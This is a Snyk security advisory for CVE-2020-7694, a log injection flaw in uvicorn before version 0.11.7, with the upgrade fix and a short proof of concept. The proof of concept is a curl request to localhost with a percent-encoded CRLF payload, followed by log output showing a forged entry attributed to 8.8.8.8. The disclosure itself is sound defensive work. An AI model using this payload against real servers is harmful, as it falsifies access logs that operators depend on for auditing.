Log Injection

Affecting uvicorn package, versions [,0.11.7)

INTRODUCED: 10 JUL 2020 CVE-2020-7694 CWE-117 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `uvicorn` to version 0.11.7 or higher.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to Log Injection. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of `uvicorn` is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with `urllib.parse.unquote`, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators.

By requesting URLs with crafted paths, attackers can:

- Pollute uvicorn's access logs, therefore jeopardising the integrity of such files.
- Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).

PoC

```
async def app(scope, receive, send): print(scope) assert scope['type'] == 'http' await send({ 'type': 'http.response.start', 'status': 200, 'headers': [ [b'Content-Type', b'text/plain'] ] }) await send({ 'type': 'http.response.body', 'body': b'Hello, world!', }) `
curl -v 'http://localhost:9999/logfile-injection%20HTTP%2f1.1%22%20200%20OK%0d%0aINFO:%20%20%20%20%208.8.8.8:1337%20-%20%22POST%20/admin/fake-action&#39;

$ cat log.txt

INFO: 127.0.0.1:49242 - "GET /logfile-injection HTTP/1.1" 200 OK INFO: 8.8.8.8:1337 - "POST /admin/fake-action HTTP/1.1" 200 OK


The previous GET request added a fake entry to the log file, stating that the host at 8.8.8.8 made a POST request to /admin/fake-action.
```

References

- Uvicorn Repository

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-PYTHON-UVICORN-575560
Published	20 Jul 2020
Disclosed	10 Jul 2020
Credit	Everardo Padilla Saca

Report a new vulnerability | Found a mistake?

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.